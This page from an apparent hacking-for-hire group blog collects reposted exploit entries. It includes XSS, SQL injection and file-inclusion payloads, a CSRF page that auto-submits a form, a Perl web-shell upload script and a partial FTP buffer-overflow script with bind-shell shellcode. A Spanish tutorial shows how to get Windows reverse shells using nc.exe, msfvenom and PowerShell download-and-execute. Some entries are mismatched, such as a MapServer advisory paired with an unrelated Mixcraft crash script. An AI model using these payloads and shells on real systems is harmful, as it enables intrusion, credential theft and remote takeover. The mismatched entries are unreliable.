Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863113647

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/49415/info

Mambo CMS N-Skyrslur is prone to cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[PATH]/index.php?option=com_n-skyrslur&Itemid=51&do=<script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/49395/info

Serendipity is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Serendipity 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/research_display.php?ID=47 and 1=1 //\\ http://www.aarda.org/research_display.php?ID=47 and 1=2

http://www.example.com/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,group_concat%28user,0x3a,pass,0x3a,email%29,null,null,null+FROM+Admin
HireHackking 
source: https://www.securityfocus.com/bid/49399/info

Web Professional is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.examplecom/default.php?t=news&id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/49393/info

TinyWebGallery is prone to multiple local file-include and SQL-injection vulnerabilities.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

TinyWebGallery 1.8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/upload/tfu_213.swf?base=C:\windows\win.ini%00&lang=en
http://www.example.com/admin/upload/tfu_upload.php?workaround_dir=../../../../../../../../httpd.conf%00
http://www.example.com/admin/tfu_login.php?install_path=../../../../../../../../httpd.conf%00

http://www.example.com/admin/upload/tfu_213.swf =>>
=>> If login :
-> Auth ByPass =
-- user = ' or '=' or '
-- pass = ' or '=' or '
HireHackking 
source: https://www.securityfocus.com/bid/49378/info

CS-Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CS-Cart 2.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/controllers/customer/products.php?tabs_group_id=[SQL INJECT]
HireHackking 
source: https://www.securityfocus.com/bid/49374/info

MapServer is prone to a remote denial-of-service vulnerability due to a double free condition.

Attackers can exploit this issue to crash the application, denying service to legitimate users. Due to the nature of this issue, code execution may be possible; however, this has not been confirmed.

Versions prior to MapServer 6.0.1 are vulnerable. 

#!/usr/bin/perl
 
print q(
########################################################
# home : http://www.D99Y.com 
# Date : 9/8/2011 
# Author : NassRawI 
# Software Link : http://www.acoustica.com/mixcraft/
# Version : v1.00 Build 10 
# Tested on : Windows XP SP2
########################################################
);
 
my $file= "crash.mxc";
my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ;
open(d99y,">$file");
print d99y $junk ;
close(d99y);
print "\n [ # ] Vulnerable File Created !\n"
HireHackking 
source: https://www.securityfocus.com/bid/49364/info

IBM Open Admin Tool is prone to multiple cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

IBM Open Admin Tool 2.71 and prior are vulnerable. 

http://www.example.com:8080/openadmin/index.php?act=login&do=dologin&login_admin=Login&groups=1&grouppass=&informixserver= &host= &port= &username= &userpass= &idsprotocol=onsoctcp&conn_num
HireHackking 
source: https://www.securityfocus.com/bid/49361/info

ClickCMS is prone to a denial-of-service vulnerability and a CAPTCHA-bypass vulnerability.

Attackers can leverage these issues to cause the affected server to stop responding or to bypass certain security mechanisms. 

http://www.example.com/captcha/CaptchaSecurityImages.php?width=150&height=100&characters=2
http://www.example.com/captcha/CaptchaSecurityImages.php?width=1000&height=9000
HireHackking 
# Exploit Title: Wordpress plugin Fancybox-for-WordPress Stored XSS
# Exploit Author: NULLpOint7r
# Date: 2015-02-11
# Contact me: seidbenseidok@gmail.com
# Version: 3.0.2
# Download link: https://downloads.wordpress.org/plugin/fancybox-for-wordpress.3.0.2.zip
# Home: http://www.sec4ever.com/home/

vulnerable code [fancybox.php]:
342.    if ( isset($_GET['page']) && $_GET['page'] == 'fancybox-for-wordpress' ) {
343.
344.        if ( isset($_REQUEST['action']) && 'update' == $_REQUEST['action'] ) {
345.
346.            $settings = stripslashes_deep( $_POST['mfbfw'] );
347.            $settings = array_map( 'convert_chars', $settings );
348.
349.            update_option( 'mfbfw', $settings );
350.            wp_safe_redirect( add_query_arg('updated', 'true') );  

exploit: 

<form method="POST" action="http://127.0.0.1/wp-admin/admin-post.php?page=fancybox-for-wordpress">
    <input type="text" name="action" value="update">
    <input type="text" name="mfbfw[padding]" value="</script><script>alert(/Owned by someone/)</script>">
    <input type="submit" value="Send">
</form>
HireHackking 
eTouch SamePage v4.4.0.0.239 multiple vulnerabilities


http://www.etouch.net/products/samepage/index.html

Enterprise trial was installed in an Ubuntu virtual machine with MySQL. By default, the listening port is 18080.

Required on the Ubuntu machine to install the SamePage binary successfully:
sudo apt-get install libstdc++6:i386 libc6:i386 libXext6:i386 mysql-server

Trial available here:
http://support.etouch.net/cm/wiki/?id=8889

———

Unauthenticated time-based SQL injection in /cm/blogrss/feed servlet

The following URL is vulnerable to a time-based SQL injection in the catId parameter:

http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600

Exploitation with sqlmap:

Brandons-iMac:sqlmap bperry$ ./sqlmap.py -u "http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600" --dbms=mysql -p catId --level=5 --risk=3 -o --technique=t --time-sec=10 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-fd632e5}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 19:08:19

[19:08:19] [INFO] testing connection to the target URL
[19:08:19] [INFO] heuristics detected web page charset 'ascii'
[19:08:19] [INFO] testing NULL connection to the target URL
[19:08:19] [INFO] NULL connection is supported with HEAD header
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: catId (GET)
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: entity=mostviewedpost&analyticsType=blog&catId=-1) AND 6412=BENCHMARK(10000000,MD5(0x73764b7a)) AND (3198=3198&count=10&et_cw=850&et_ch=600
---
[19:08:19] [INFO] testing MySQL
[19:08:19] [INFO] confirming MySQL
[19:08:19] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0.0
[19:08:19] [INFO] fetching database names
[19:08:19] [INFO] fetching number of databases
[19:08:19] [INFO] resumed: 4
[19:08:19] [INFO] resumed: information_schema
[19:08:19] [INFO] resumed: mysql
[19:08:19] [INFO] resumed: performance_schema
[19:08:19] [INFO] resumed: samepage
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] samepage

[19:08:19] [INFO] fetched data logged to text files under '/Users/bperry/.sqlmap/output/192.168.1.25'

[*] shutting down at 19:08:19

Brandons-iMac:sqlmap bperry$


———
Authenticated arbitrary file read via /cm/newui/blog/export.jsp

The following authenticated GET request will read the cm.xml file from the web server installation directory, which contains the database credentials. While authentication is required, by default, creating a user using the user sign-up page is simple.


Request:

GET /cm/newui/blog/export.jsp?filepath=../conf/Catalina/localhost/cm.xml&start=true&et_cw=350&et_ch=100 HTTP/1.1
Host: 192.168.1.22:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.22:8080/cm/newui/blog/export.jsp?pkey=64616d73657373696f6e696468616c6c61626f6c6c613b313432323331333135393433341422313179983&blogalias=fdsaffd&blogdesc=fdsafdsafdsa&starttime=1422313179983&start=true
Cookie: JSESSIONID=8D2B23DCF68ACD2623B390942E71F2E5; c_wiki_browser=1
Connection: keep-alive




Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename=cm.xml
Content-Type: application/zip
Content-Length: 864
Date: Tue, 27 Jan 2015 00:42:53 GMT

<Context path="/cm" docBase="../../cm" debug="0" reloadable="false" crossContext="true" autodeploy="true">
  <Resource name="CMPOOL" auth="Container"  type="com.atomikos.jdbc.nonxa.NonXADataSourceBean"  
    factory="org.apache.naming.factory.BeanFactory"
    uniqueResourceName="CMPOOL"
     driverClassName="com.mysql.jdbc.Driver"
    user="root"
    password="password"
    poolSize="10"
    validatingQuery ="SELECT 1" 
    url="jdbc:mysql://localhost:3306/samepage" />
  <Transaction factory="com.atomikos.icatch.jta.UserTransactionFactory" />
  <Resource name="UserTransaction" auth="Container" type="javax.transaction.UserTransaction"
          factory="com.atomikos.icatch.jta.UserTransactionFactory" />
  <Resource name="TransactionManager" auth="Container" type="com.atomikos.icatch.jta.UserTransactionManager"
  factory="org.apache.naming.factory.BeanFactory" />    
</Context>
HireHackking 
# Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS
# Date: 20-01-2015
# Software Link: http://www.wonderplugin.com/wordpress-audio-player/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">
</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html

3. Solution:
  
Update to version 2.1
HireHackking

Reverse Shells en Windows

Cuando recién entramos a aprender pentesting a sistemas Windows, la primera diferencia que nos podemos encontrar es como obtener una reverse shell. Por lo que en este post vamos a ver las principales formas de obtener una.

Índice:

  • Nc.exe
  • Msfvenom
  • Powershell Reverse Shell One-Liner
  • Nishang
  • ConPtyShell
  • Ver si nuestro proceso es de 32 o 64 bits
  • Referencias

Nc.exe

Al igual que tenemos netcat en linux y sus respectivos binarios para ese sistema, existen los binarios respectivos para Windows, tanto de 32 bits (nc.exe) como de 64 bits (nc64.exe), se pueden descargar desde aquí.

En este caso, podemos además de descargarlo y ejecutarlo, ejecutarlo directamente desde un recurso compartido que nosotros nos montemos (esto lo comento como alternativa a la descarga de un ejecutable).

La sintaxis del nc.exe sería la siguiente:

nc.exe -e cmd.exe <ip> <puerto>

Desde nuestro kali, nos ponemos en escucha:

image 32

Nota: rlwrap es una utilidad que nos mejora un poco la movilidad en shells Windows, ya que estas suelen ser muy limitadas en cuanto a movilidad se refiere (también se podría usar en scripts o programas que tengan o generen una shell interactiva interna). Rlwrap permite que podamos usar atajos de teclado como Ctrl L, o que podamos recuperar comandos previamente usados usando la tecla de la flechita hacia arriba (Sin embargo, si hacemos Ctrl C perderemos la shell).

En conclusión, siempre que nos pongamos en escucha para recibir una shell de Windows, es muy recomendable usar rlwrap.

Antes de montar el servidor SMB que vaya a compartir nuestro nc.exe, tenemos que copiarnos el nc.exe a nuestro directorio o montar el servidor donde se encuentre el nc.exe. En mi caso, por simple preferencia, me copio el nc.exe a mi directorio actual:

image 33

Con esto hecho, montamos el servidor SMB en nuestra ruta actual usando el script «smbserver.py» de impacket, con la siguiente estructura:

smbserver.py <nombre del recurso compartido> <directorio donde montar el servidor> -smb2support

Nota: el parámetro smb2support solo es necesario si el Windows no admite la versión 1 de SMB.

image 34

Con el servidor SMB montado en el lugar del nc.exe y con el puerto en escucha, simplemente ejecutamos en el Windows el comando que puse al principio de netcat al mismo tiempo que indicamos que el binario se encuentra en el recurso compartido con nombre «pwned»:

\\192.168.118.10\pwned\nc.exe -e cmd.exe <ip> <puerto>

image 35

De esta forma, podemos ver el acceso a nuestro servidor SMB y la shell obtenida:

image 36

Msfvenom

Msfvenom no solo es útil cuando nos generamos shellcodes para los Buffer Overflow, también lo es para crear binarios que nos ejecuten una shell en Windows. En concreto, los dos payloads que nos pueden interesar (aunque hay más y de muchos tipos) son los siguientes:

image 37

En este caso, usaremos el segundo, ya que mi Windows se trata de uno de 64 bits. Por lo que podemos generar un ejecutable con el siguiente comando:

msfvenom -p <payload> LHOST=<ip> LPORT=<puerto> -a x<arquitectura> -f exe -o shell.exe

Nota: en este comando no estamos usando ningún encoder, se le podría agregar uno

image 38

Este ejecutable lo pasamos a la máquina víctima y lo ejecutamos:

image 39

Recibiendo así, una shell:

image 40

Powershell Reverse Shell One-Liner

Powershell es un lenguaje muy potente y permite hacer muchisimas cosas, veremos scripts muy útiles después. Pero antes de ir a ellos, está bien saber que existe una sentencia de powershell la cual nos entabla una reverse shell y todo en un comando de una sola línea.

El comando en cuestión lo podéis encontrar en este enlace.

Personalmente, no recomiendo mucho esta forma, al menos, una ejecución directa, ya que, como podemos ver, es un comando el cual contiene muchísimos símbolos y muchas variables, lo cual puede dificultar su ejecución desde una webshell o una cmd, lo recomendable es ejecutarlo desde una powershell directamente.

En cualquier caso, siempre hay que conocer alternativas y opciones disponibles. Por lo que una vez dicho esto, procedemos con la ejecución, que es bastante sencilla, simplemente tenemos que cambiar la IP y el puerto del comando original:

image 58

Ejecutando el comando de arriba obtenemos una shell sin problemas:

image 59

Lo único a tener en cuenta es lo que he dicho antes. Yo por preferencia, casi nunca uso esta forma.

Nishang

Nishang es un repositorio el cual contiene una gran cantidad de scripts de powershell usados para la seguridad ofensiva. Su repositorio oficial es el que podéis visitar en este enlace.

Entre todos los scripts que tiene, hay uno en concreto bastante famoso llamado «Invoke-PowerShellTcp.ps1«, el cual, como no, nos invoca una reverse shell con una powershell.

Nishang PowerShellTcp

Como vemos, el script no es más que una función en powershell, por lo que tenemos dos opciones:

  • Descargar y cargar el script de forma local, y posteriormente ejecutar la función con los argumentos para una reverse shell.
  • Cargar el script de forma remota y que en la misma acción donde lo carga, posteriormente ejecute la función con los argumentos para la reverse shell, todo en un paso.

Vamos a hacerlo de la segunda forma, por lo que vamos a descargar el script desde el repositorio oficial:

image 41
image 42

En el script podemos ver el comando a ejecutar para que nos haga una reverse shell. Por lo que la idea es copiarnos el comando y añadirlo (con nuestra IP y puerto) al final del script:

image 43

De esta forma, justo cuando cargue el script en la powershell el cual contiene la función (cmdlet), llamará a la propia función con los argumentos para una reverse shell y la ejecutará.

Ahora bien, para cargar el script en la powershell desde una fuente remota y ejecutarlo, usaremos el siguiente comando:

IEX(New-Object Net.WebClient).DownloadString(<archivo alojado en servidor web>)

Como nos ejecutará la reverse shell directamente, nos ponemos en escucha ya, al mismo tiempo que nos ejecutamos un servidor HTTP con python que nos aloje el script:

image 44

Con esto hecho, ejecutamos el comando IEX (Abreviatura de «Invoke-Expression» )en el Windows:

image 45

De esta forma, podemos ver la petición GET en el servidor y la shell que hemos obtenido:

image 46

Todo en un mismo paso, además, haciéndolo todo en memoria, ya que el script no se almacena en el disco duro del Windows.

ConPtyShell

ConPtyShell es una herramienta la cual nos permite obtener una shell completamente interactiva en sistemas Windows. Esto quiere decir que podemos hacer Ctrl C sin peligro a perder la shell o podemos recuperar comandos usados previamente usando la flechita hacia arriba. Su repositorio oficial lo podéis encontrar en este enlace.

El proceso para ejecutarlo prácticamente va a ser el mismo que con el script de nishang, ya que este se trata de otro script de powershell.

Por lo que empezamos descargando el script del repositorio:

image 47
image 48

Al igual que antes, no es mas que una función de powershell a la que tendremos que llamar una vez la hemos importado.

Tenemos de nuevo las mismas opciones de antes, añadir al final del script el comando, o ejecutarlo posterior a la importación del script en la powershell. Esta vez lo haremos de la segunda.

Antes de nada, en el repositorio oficial, podemos ver como se nos indican 3 métodos para entablarnos la reverse shell, en mi caso usaré el método 2:

image 49

El comando con el que descargaremos e importaremos el script también lo cambiaremos para tener siempre otra alternativa, en este caso, usaré el mismo que se indica en el repositorio:

IEX(IWR -UseBasicParsing <servidor web donde se encuentre el script>)

Este comando, lo concatenaremos con:

; Invoke-ConPtyShell -RemoteIp <IP> -Remote Port <puerto> -Rows <nº filas> -Cols <nº columnas>

Esto sería la parte del cliente (Windows), antes de realizarlo, tenemos que establecer la escucha por parte del servidor (nuestra máquina). Para ello, seguimos los mismos pasos que se nos indica en la imagen del repositorio:

image 50

Con el primer comando estamos viendo el tamaño de nuestra terminal (<filas> <columnas>). Esta información es la que tendremos que colocar en el comando que ejecutaremos desde el Windows.

Estando ya en escucha, no olvidemos montarnos un servidor HTTP que comparta el script:

image 51

Con todo listo, ejecutamos el comando en el Windows:

image 57
image 53

En la shell recibida, damos enter para que podamos ver el prompt:

image 54

Ahora solo falta hacer lo siguiente:

  • Ctrl Z
  • stty raw -echo; fg
  • Enter
image 55
image 56

De esta forma, conseguimos una shell completamente interactiva en Windows.

Ver si nuestro proceso es de 32 o 64 bits

En las escaladas de privilegios en Windows, tenemos que tener mucho cuidado en la arquitectura en la que esté trabajando el proceso de nuestra shell. En un sistema de 32 bits, la única opción es que nuestra shell sea de 32 bits, ahí guay.

Sin embargo, en un sistema de 64 bits, el proceso de nuestra shell, puede ser de 32 o 64. Lo que ocurre, es que enumerar y escalar privilegios en un proceso de 32 bits cuando la máquina es de 64 no es lo más óptimo, ya que nos puede arrojar muchos falsos positivos o incluso que no consigamos detectar la forma de escalar privilegios solo por este detalle. Esto no ocurre siempre, puede que no tengamos ningún impedimento, pero puede ocurrir que sí lo tengamos. Un buen ejemplo es lo que ocurre en el post de Passwords – Privilege Escalation en Windows.

Así que siempre es muy recomendable cuando la máquina es de 64 bits, comprobar si nuestra shell también lo es, o si de lo contrario, es de 32 bits. Esto lo podemos mirar revisando la variable de entorno «%PROCESSOR_ARCHITECTURE%». Ejemplo:

bit process

Ambas shells son de la misma máquina, sin embargo, para obtenerlas, en la superior usé «nc64.exe» y en la inferior «nc.exe».

En powershell también podemos comprobar los bits del proceso y sistema operativo con los comandos:

  • [Environment]::Is64BitProcess
  • [Environment]::Is64BitOperatingSystem

Nota: en el sistema, podemos encontrar distintos ejecutables de powershell. Algunos de 32 bits y otros de 64. Puede que cuando ejecutemos powershell.exe de forma relativa, se nos esté llamando al ejecutable de 32 bits. Por lo que, para asegurarnos de a que powershell estamos llamando, podemos hacer uso de la ruta absoluta, donde, por regla general, será de la siguiente forma:

– C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe (64 bits)

– C:\Windows\SysWoW64\WindowsPowerShell\v1.0\powershell.exe (32 bits)

– C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (32 bits)

Teniendo en cuenta esto último, así podremos asegurarnos de que la powershell sea de 32 o 64 bits cuando la llamemos para ejecutar un comando o para mandarla por netcat:

Ejemplo de como quedaría al mandar por netcat una powershell de 64 bits:

nc.exe -e C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe 192.168.118.10 443

Siguiendo todo lo explicado, podemos identificar los bits del proceso de nuestra shell y como controlar cuál nos conviene.

Referencias

  • nc.exe
  • Powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
  • Nishang
  • ConPtyShell
  • Why %processor_architecture% always returns x86 instead of AMD64
  • Determine if current PowerShell Process is 32-bit or 64-bit?
  • How to launch 64-bit powershell from 32-bit cmd.exe?

HireHackking 
source: https://www.securityfocus.com/bid/49315/info

Mambo CMS is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue by tricking an unsuspecting user into visiting a malicious Web page. The page will consist of specially crafted script code designed to perform some action on the attacker's behalf.

Successful exploits will allow attackers to run privileged commands on the affected device.

Mambo CMS 4.6.5 is vulnerable; other versions may also be affected. 

<html>
<head>
 
</head>
 
<body onload="javascript:fireForms()">
<script language="JavaScript">
 
function fireForms()
{
    var count = 1;
    var i=0;
 
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}
 
	</script>
<form action="http://site.com/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm"> 
	
	<input type="hidden" name="name" value="Administrator" /> 
	<input type="hidden" name="username" value="admin" /> 
        <input type="hidden" name="email" value="" /> 
	<input type="hidden" name="password" value="" /> 
	<input type="hidden" name="password2" value="" /> 
	<input type="hidden" name="gid" value="25" />				
	<input type="radio" name="block" value="0" checked="checked" />
	<input type="radio" name="block" value="1" />
	<input type="radio" name="sendEmail" value="0" />
	<input type="radio" name="sendEmail" value="1" checked="checked" />

</form>
HireHackking 
source: https://www.securityfocus.com/bid/49311/info

Simple Machines Forum is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Simple Machines Forum 2.0 and 1.1.14 are vulnerable; other versions may be affected. 

[img]http://www.example.com/index.php?sa=editBuddies;remove=102;action%00=profile[/img]

[img]http://www.example.com/community/index.php?action%00=logout;token[/img]
HireHackking 
source: https://www.securityfocus.com/bid/49354/info

phpWebSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/mod.php?mod=publisher&op=allmedia&artid=-1 union select concat(aid,0x3a,pwd) from authors
HireHackking 
source: https://www.securityfocus.com/bid/49309/info

Zazavi is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.

Zazavi 1.2.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
system ("title KedAns-Dz");
system ("color 1e");
system ("cls");
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
|==========================================|
|= Zazavi <=1.2.1 * Arbitrary Shell Upload |
|=   >> Provided By KedAns-Dz <<           |
|=  e-mail : ked-h[at]hotmail.com          |
|==========================================|
INTRO
print "\n";
print "[*] Enter URL(f.e: http://target.com): ";
    chomp(my $url=<STDIN>);
print "\n";
print "[*] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/admin/editor/filemanager/controller.php',
               Content_Type => 'multipart/form-data',
               Content      => 
				[ 
				action => 'uploadFile',
				newfile => 'DzOffendersCr3w.php',
				filepath => $file,
				] );
print "\n";
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }
    else { print "[-] File Upload Is Disabled! Failed!\n"; }
} else { print "[-] HTTP request Failed!\n"; }
exit;
HireHackking 
source: https://www.securityfocus.com/bid/49304/info

VicBlog is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/vicblog/index.php?page=posts&tag=1%27
HireHackking 
source: https://www.securityfocus.com/bid/49296/info

Real Estate Script is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

"/></a></><img src=1.gif onerror=alert(1)>
HireHackking 
source: https://www.securityfocus.com/bid/49297/info

Hotel Portal is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search
HireHackking 
source: https://www.securityfocus.com/bid/49292/info

Open Classifieds is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Open Classifieds 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/oc172/?s="+onmouseover=alert(408852135615)+
HireHackking 
# Title: PCMan FTP Server v2.0.7 Buffer Overflow - MKD Command
# Date : 12/02/2015 
# Author: R-73eN
# Software: PCMan FTP Server v2.0.7
# Tested On Windows Xp SP3

import socket

#348 Bytes Bind Shell Port TCP/4444
shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode += "\xb1\x50\x31\x50\x18\x03\x50\x18\x83\xe8\xbc\x54\x88\x46"
shellcode += "\x56\x72\x3e\x5f\x5f\x7b\x3e\x60\xff\x0f\xad\xbb\xdb\x84"
shellcode += "\x6b\xf8\xa8\xe7\x76\x78\xaf\xf8\xf2\x37\xb7\x8d\x5a\xe8"
shellcode += "\xc6\x7a\x2d\x63\xfc\xf7\xaf\x9d\xcd\xc7\x29\xcd\xa9\x08"
shellcode += "\x3d\x09\x70\x42\xb3\x14\xb0\xb8\x38\x2d\x60\x1b\xe9\x27"
shellcode += "\x6d\xe8\xb6\xe3\x6c\x04\x2e\x67\x62\x91\x24\x28\x66\x24"
shellcode += "\xd0\xd4\xba\xad\xaf\xb7\xe6\xad\xce\x84\xd7\x16\x74\x80"
shellcode += "\x54\x99\xfe\xd6\x56\x52\x70\xcb\xcb\xef\x31\xfb\x4d\x98"
shellcode += "\x3f\xb5\x7f\xb4\x10\xb5\xa9\x22\xc2\x2f\x3d\x98\xd6\xc7"
shellcode += "\xca\xad\x24\x47\x60\xad\x99\x1f\x43\xbc\xe6\xdb\x03\xc0"
shellcode += "\xc1\x43\x2a\xdb\x88\xfa\xc1\x2c\x57\xa8\x73\x2f\xa8\x82"
shellcode += "\xeb\xf6\x5f\xd6\x46\x5f\x9f\xce\xcb\x33\x0c\xbc\xb8\xf0"
shellcode += "\xe1\x01\x6d\x08\xd5\xe0\xf9\xe7\x8a\x8a\xaa\x8e\xd2\xc6"
shellcode += "\x24\x35\x0e\x99\x73\x62\xd0\x8f\x11\x9d\x7f\x65\x1a\x4d"
shellcode += "\x17\x21\x49\x40\x01\x7e\x6e\x4b\x82\xd4\x6f\xa4\x4d\x32"
shellcode += "\xc6\xc3\xc7\xeb\x27\x1d\x87\x47\x83\xf7\xd7\xb8\xb8\x90"
shellcode += "\xc0\x40\x78\x19\x58\x4c\x52\x8f\x99\x62\x3c\x5a\x02\xe5"
shellcode += "\xa8\xf9\xa7\x60\xcd\x94\x67\x2a\x24\xa5\x01\x2b\x5c\x71"
shellcode += "\x9b\x56\x91\xb9\x68\x3c\x2f\x7b\xa2\xbf\x8d\x50\x2f\xb2"
shellcode += "\x6b\x91\xe4\x66\x20\x89\x88\x86\x85\x5c\x92\x02\xad\x9f"
shellcode += "\xba\xb6\x7a\x32\x12\x18\xd5\xd8\x95\xcb\x84\x49\xc7\x14"
shellcode += "\xf6\x1a\x4a\x33\xf3\x14\xc7\x3b\x2d\xc2\x17\x3c\xe6\xec"
shellcode += "\x38\x48\x5f\xef\x3a\x8b\x3b\xf0\xeb\x46\x3c\xde\x7c\x88"
shellcode += "\x0c\x3f\x1c\x05\x6f\x16\x22\x79"
banner = ""
banner += "  ___        __        ____                 _    _  \n"   
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = raw_input('Enter IP : ')
s.connect((server, 21))
a = s.recv(1024)
print ' [+] ' + a
s.send('User anonymous')
s.recv(1024)
s.send('pass')
s.recv(1024)
print ' [+] Logged in as Anonymous ...'
